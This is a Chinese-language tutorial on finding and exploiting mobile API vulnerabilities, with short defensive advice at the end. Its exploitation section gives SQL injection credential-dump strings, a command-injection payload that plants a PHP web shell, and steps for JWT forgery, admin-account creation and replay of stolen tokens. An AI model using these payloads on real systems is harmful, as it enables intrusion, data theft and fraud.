移动应用渗透测试:API 接口漏洞的识别与利用技巧
在移动应用渗透测试中,API(应用程序编程接口)是核心数据交互通道,也是漏洞高发区域 —— 移动应用与后端服务器、第三方服务的通信几乎完全依赖 API,一旦存在漏洞,攻击者可能窃取敏感数据、越权操作甚至控制服务器。以下从漏洞识别维度和实战利用技巧两方面,系统拆解 API 接口渗透测试的核心方法,同时补充防御建议。
一、API 接口漏洞的核心识别维度
移动应用的 API 接口(如 RESTful、GraphQL、SOAP)漏洞识别需结合 “接口特性 + 移动场景特殊性”,重点关注以下 6 类高频漏洞,每个漏洞均包含 “识别逻辑 + 检测方法”:
1. 未授权访问 / 越权操作漏洞
漏洞本质
API 接口未对请求者的身份或权限进行严格校验,导致攻击者可访问他人数据(水平越权)或超权限操作(垂直越权,如普通用户调用管理员接口)。
移动场景中,此类漏洞常因 “客户端本地校验代替服务器校验”“Token / 会话管理失效” 引发。
识别方法
- 身份绕过检测:
- 抓包获取正常 API 请求(如
GET /api/user/123
获取用户 123 的信息),删除请求头中的身份凭证(如Authorization: Bearer xxx
、Cookie: sessionid=xxx
),观察是否仍能返回数据。 - 尝试替换凭证:用无效 Token(如随机字符串)、已过期 Token 发送请求,检查服务器是否返回 “未授权”(401)或 “禁止访问”(403),而非直接返回数据。
- 抓包获取正常 API 请求(如
- 越权操作检测:
- 水平越权:获取自己的用户 ID(如 123)对应的请求(
GET /api/user/123
),将路径或参数中的123
改为其他用户 ID(如 124),若能返回他人信息,即存在漏洞。 - 垂直越权:收集 API 文档或抓包获取管理员接口(如
POST /api/admin/deleteUser
),用普通用户的 Token 发送请求,若能执行删除操作(返回 200 或 “删除成功”),即存在漏洞。
- 水平越权:获取自己的用户 ID(如 123)对应的请求(
2. 敏感信息泄露漏洞
漏洞本质
API 接口在请求 / 响应中明文传输敏感数据(如手机号、身份证号、密码、Token),或在错误信息中泄露服务器配置(如数据库地址、版本号),攻击者可通过抓包直接获取。
识别方法
- 数据传输检测:
- 用 Burp Suite、Fiddler 等工具抓包,查看 API 的请求体(Request Body)、响应体(Response Body),是否存在明文的手机号、银行卡号、密码等敏感信息(例:响应中直接返回
"password":"123456"
)。 - 检查传输协议:若 API 使用
HTTP
而非HTTPS
,所有数据均为明文,必然存在泄露风险;即使使用 HTTPS,也需确认证书是否合法(避免 “中间人攻击” 可伪造证书的场景)。
- 用 Burp Suite、Fiddler 等工具抓包,查看 API 的请求体(Request Body)、响应体(Response Body),是否存在明文的手机号、银行卡号、密码等敏感信息(例:响应中直接返回
- 错误信息检测:
- 构造异常请求(如参数传入特殊字符
'
、and 1=1
),观察服务器返回的错误信息,是否包含 SQL 语句(如MySQL server version for the right syntax to use near ''123'' at line 1
)、服务器路径(如/var/www/app/controller/user.php
)等敏感内容。
- 构造异常请求(如参数传入特殊字符
3. 参数篡改与注入漏洞
漏洞本质
API 接口未对输入参数进行过滤或校验,攻击者可篡改参数值触发业务逻辑异常(如修改订单金额),或注入恶意代码(如 SQL 注入、命令注入)控制服务器。
识别方法
- 参数篡改检测:
- 业务参数篡改:抓包获取关键业务请求(如
POST /api/order/create
,请求体包含"amount":99
),将amount
改为0.01
或负数,提交后检查订单是否按篡改后的金额生成。 - 状态参数篡改:获取订单状态查询请求(如
GET /api/order/status?id=456&status=unpaid
),将status
改为paid
,观察是否直接标记订单为 “已支付”。
- 业务参数篡改:抓包获取关键业务请求(如
- 注入漏洞检测:
- SQL 注入:在参数中插入 SQL 语句片段,如
id=123 union select 1,username,password from user
,若响应中返回数据库中的用户名、密码,即存在 SQL 注入;或用工具(如 sqlmap)加载抓包的 API 请求,自动检测注入点。 - 命令注入:若 API 存在调用服务器命令的逻辑(如文件上传、日志查询),参数中插入系统命令(如
filename=test.txt;ls /
),若响应中返回服务器目录列表,即存在命令注入。
- SQL 注入:在参数中插入 SQL 语句片段,如
4. 接口限流与验证码绕过漏洞
漏洞本质
API 接口未设置请求频率限制(限流),或验证码校验逻辑存在缺陷,攻击者可通过 “暴力破解”(如枚举密码)、“短信轰炸”(如无限发送验证码)攻击业务。
识别方法
- 限流检测:
- 对同一 API(如登录接口
POST /api/login
),用工具(如 Burp Suite 的 Intruder 模块)批量发送请求(如每秒 100 次),观察是否返回 “请求过于频繁”(429)或暂时封禁 IP,若仍能正常响应,即无有效限流。
- 对同一 API(如登录接口
- 验证码绕过检测:
- 抓包获取发送验证码的请求(
POST /api/sendCode
),重复发送该请求,检查是否每次都能收到新验证码(无次数限制则可短信轰炸)。 - 抓包获取验证验证码的请求(
POST /api/verifyCode
),尝试不传入code
参数、传入空值或固定值(如000000
),观察是否能通过验证;或对比多次请求的code
参数,若发现验证码未随机生成(如固定为123456
),即存在漏洞。
- 抓包获取发送验证码的请求(
5. 不安全的文件上传漏洞
漏洞本质
移动应用若存在文件上传功能(如头像上传、附件上传),其对应的 API 接口未对上传文件的类型、大小、内容进行校验,攻击者可上传恶意脚本(如.php
、.jsp
文件),并通过访问文件路径执行脚本,获取服务器权限。
识别方法
- 抓包获取文件上传请求(如
POST /api/upload/avatar
),观察请求中文件相关的参数(如Content-Type
、filename
)。 - 篡改文件类型:将正常图片(
test.jpg
)改为恶意脚本(test.php
),同时修改Content-Type
为application/x-httpd-php
,提交后检查服务器是否接受该文件。 - 验证文件可访问性:若上传成功,根据 API 返回的文件路径(如
https://xxx.com/upload/2024/test.php
),在浏览器中访问该路径,若能执行脚本(如返回phpinfo()
页面),即存在漏洞。
6. Token / 会话管理漏洞
漏洞本质
API 接口依赖的 Token(如 JWT、OAuth2.0 Token)存在生成逻辑缺陷(如可预测)、有效期过长、未正确销毁等问题,攻击者可窃取或伪造 Token,冒充合法用户访问。
识别方法
- Token 安全性检测:
- JWT Token 检测:若使用 JWT(格式为
header.payload.signature
),用 JWT 解码工具(如JWT.io)解析payload
,检查是否包含敏感信息(如用户密码),同时尝试修改payload
中的用户 ID、权限字段(如"role":"user"
改为"role":"admin"
),重新签名后发送请求,观察是否能越权。 - Token 有效期检测:获取 Token 后,间隔较长时间(如 24 小时)再用该 Token 发送请求,若仍能正常访问(未返回 401),说明 Token 有效期过长,存在被盗用风险。
- JWT Token 检测:若使用 JWT(格式为
- 会话销毁检测:执行 “退出登录” 操作后,抓包获取退出请求,检查服务器是否会使当前 Token 失效(如删除服务器端的会话记录);若退出后仍能用原 Token 访问 API,即会话销毁失效。
二、API 接口漏洞的实战利用技巧
识别漏洞后,需结合移动应用的业务逻辑和 API 特性,通过 “精准构造请求 + 利用工具辅助” 实现漏洞利用,以下为高频场景的实战技巧:
1. 越权漏洞利用:从 “获取数据” 到 “控制业务”
- 场景 1:水平越权窃取用户数据
若发现用户信息接口(GET /api/user/{id}
)存在水平越权,可通过 “批量枚举 ID” 获取大量用户数据:- 用 Burp Suite Intruder 加载请求,将
{id}
设为变量,导入 ID 字典(如 1-10000 的数字)。 - 执行批量请求,筛选响应状态码为 200 的结果,提取响应中的手机号、邮箱等敏感信息,保存为表格。
- 用 Burp Suite Intruder 加载请求,将
- 场景 2:垂直越权控制管理员功能
若发现管理员删除用户接口(DELETE /api/admin/user/{id}
)存在垂直越权,可:- 用普通用户 Token 发送
DELETE /api/admin/user/999
(999 为目标用户 ID),删除关键用户(如客服账号)。 - 进一步查找管理员 “添加用户” 接口(
POST /api/admin/user
),构造请求体{"username":"hacker","password":"123456","role":"admin"}
,创建管理员账号,长期控制系统。
- 用普通用户 Token 发送
2. 注入漏洞利用:从 “获取数据” 到 “控制服务器”
- 场景 1:SQL 注入获取数据库权限
若登录接口(POST /api/login
,参数username=test&password=123
)存在 SQL 注入:- 构造
username=test' or 1=1-- &password=123
,绕过登录验证(原理:or 1=1
使 SQL 条件恒真)。 - 若注入点支持 “联合查询”,构造
username=test' union select 1,group_concat(username,':',password) from user-- &password=123
,一次性获取所有用户的账号密码。
- 构造
- 场景 2:命令注入控制服务器
若文件上传接口(POST /api/upload
,参数filename=test.txt&path=/var/www/upload
)存在命令注入:- 构造
filename=test.txt;echo '<?php @eval($_POST["cmd"]);?>' > /var/www/upload/webshell.php&path=/var/www/upload
,上传后在服务器生成 “一句话木马”。 - 用工具(如中国菜刀、蚁剑)连接
https://xxx.com/upload/webshell.php
,执行系统命令(如ls /
、whoami
),获取服务器控制权。
- 构造
3. Token 漏洞利用:从 “伪造身份” 到 “持久化访问”
- 场景 1:JWT Token 伪造
若 JWT 的签名算法为none
(无签名),或密钥可破解(如用弱密钥123456
签名):- 用 JWT.io 解析原 Token,修改
payload
中的userid
(如改为管理员 ID0
)、role
(如改为admin
)。 - 若算法为
none
,直接删除signature
部分;若密钥已知,用密钥重新生成签名,将伪造后的 Token 放入请求头,即可冒充管理员访问。
- 用 JWT.io 解析原 Token,修改
- 场景 2:Token 复用攻击
若移动应用退出登录后 Token 未失效,可:- 在用户使用公共设备(如网吧手机)时,抓包获取其 Token 并保存。
- 待用户离开后,用该 Token 发送请求(如
POST /api/transferMoney
),执行转账、消费等操作。
三、API 接口漏洞的防御建议(补充)
渗透测试的最终目的是帮助修复漏洞,以下为针对上述漏洞的核心防御措施:
- 严格身份与权限校验:所有 API 接口必须在服务器端校验 Token / 会话的有效性,且基于 “最小权限原则” 控制访问(如普通用户无法调用管理员接口)。
- 敏感数据加密传输:API 必须使用
HTTPS
协议,敏感数据(如密码、Token)需额外加密(如用 AES 加密后再传输),错误信息需 “脱敏”(如返回 “参数错误” 而非具体 SQL 错误)。 - 参数校验与过滤:对所有输入参数进行类型、长度、格式校验(如手机号必须为 11 位数字),使用 “参数绑定”(如 MyBatis 的
#{})预防SQL注入,禁用危险函数(如
exec()、
system ()`)预防命令注入。 - 完善限流与验证码机制:对登录、发送验证码等高频接口设置限流(如单 IP 每分钟最多 10 次请求),验证码需随机生成、单次有效,且支持 “图形验证码 + 短信验证码” 双重校验。
- 安全的 Token 管理:JWT 需使用强签名算法(如 RS256),密钥定期更换;Token 有效期设置合理(如访问 Token 2 小时,刷新 Token 7 天),退出登录时立即销毁服务器端的 Token 记录。
通过以上 “识别维度 + 利用技巧 + 防御建议”,可全面覆盖移动应用 API 接口的渗透测试核心场景,帮助测试人员高效发现漏洞,同时为开发团队提供明确的修复方向,保障移动应用的通信安全。